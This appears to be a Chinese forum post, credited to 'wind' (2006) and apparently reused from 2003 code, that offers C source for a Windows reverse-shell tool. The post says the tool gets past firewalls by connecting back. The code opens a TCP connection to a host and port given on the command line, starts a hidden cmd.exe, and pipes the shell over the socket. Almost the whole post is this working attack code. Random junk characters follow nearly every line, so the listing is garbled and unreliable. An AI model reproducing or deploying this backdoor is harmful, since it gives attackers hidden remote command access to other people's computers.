这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [*1c.&%(
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/* ============================== 0AaN
Rebound port in Windows NT Y(&phv&
By wind,2006/7 D0(gEb
===============================*/ N%^mR>.`
#include $H_4Y-xOi
#include [rQ#skf
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#pragma comment(lib,"wsock32.lib") C5eol &
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void OutputShell(); 1pc|]9B
SOCKET sClient; $+?6U
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Wve ^2lkoK
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void main(int argc,char **argv) K<V(h#(.@
{ [7$<sN<'
WSADATA stWsaData; /a]+xL
int nRet; @m(\f
SOCKADDR_IN stSaiClient,stSaiServer; GA;E (a
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if(argc != 3) ; I=z
{ wl!'Bck=
printf("Useage:\n\rRebound DestIP DestPort\n"); F`Pu$>8C
return; d` ^@/1tO
} ysL8w"t
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WSAStartup(MAKEWORD(2,2),&stWsaData); FCI38?`%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bw{W-&$o
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stSaiClient.sin_family = AF_INET; |FKo}>4
stSaiClient.sin_port = htons(0); *gBaF/C
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t[3Upe%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {VI%]n{M
{ G"J6X e
printf("Bind Socket Failed!\n"); +[z(N
return; 2Y$==j
} Ju:=-5r"'
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stSaiServer.sin_family = AF_INET; N["(ZSS
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q/]tJ{FI
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [J:vSt
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,E/vHI8
{ !lHsJ)t
printf("Connect Error!"); 4,)=r3;&!
return; 654PW9{(
} -'ZP_$sA
OutputShell(); "ebn0<cZ
} }De)_E\~
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void OutputShell() 2b !b-
{ 4u:{PN
char szBuff[1024]; &\1Dy}:
SECURITY_ATTRIBUTES stSecurityAttributes; GTLlQy)'=
OSVERSIONINFO stOsversionInfo; `7'(U)x,F
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #Xsby
STARTUPINFO stStartupInfo; rvOR[T>
char *szShell; j^LnHVHk1
PROCESS_INFORMATION stProcessInformation; K)^.96{/@
unsigned long lBytesRead; .%D] z{''
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,m0=zH4+:
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a3p|>M6E
stSecurityAttributes.lpSecurityDescriptor = 0; ?t<wp3bZ
stSecurityAttributes.bInheritHandle = TRUE; Av/|={i
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )Q9J,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); igz&7U8gg
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /@on=~
stStartupInfo.wShowWindow = SW_HIDE; "zm.jNn
stStartupInfo.hStdInput = hReadPipe; Kz 'W
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~lQ]PKJ"
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GetVersionEx(&stOsversionInfo); .H9!UQ&It
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switch(stOsversionInfo.dwPlatformId) 6s>PZh
{ <y!6HJ"
case 1: _{T`ka
szShell = "command.com"; ][TS|\\
break; `(16_a
default: r\L:JTZ$
szShell = "cmd.exe"; &
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break; EMJ}tvL0Tp
} k%uRG_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~*G I<n
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send(sClient,szMsg,77,0); Ik~5j(^E-
while(1) IgSe%B
{ Jb_/c``
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +}z
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if(lBytesRead) V8&%f xn+
{ k98--kc5
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;Q-sie(#
send(sClient,szBuff,lBytesRead,0); }8 ,b;Q
} E-n!3RQ(w
else |n Mbf
{ .\<
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lBytesRead=recv(sClient,szBuff,1024,0); #16)7
if(lBytesRead<=0) break; hLO nX<%a
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); T*LbZ"A
} 9KCnitU
} I]TL#ywF
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return; ,ad~6.Z_)
}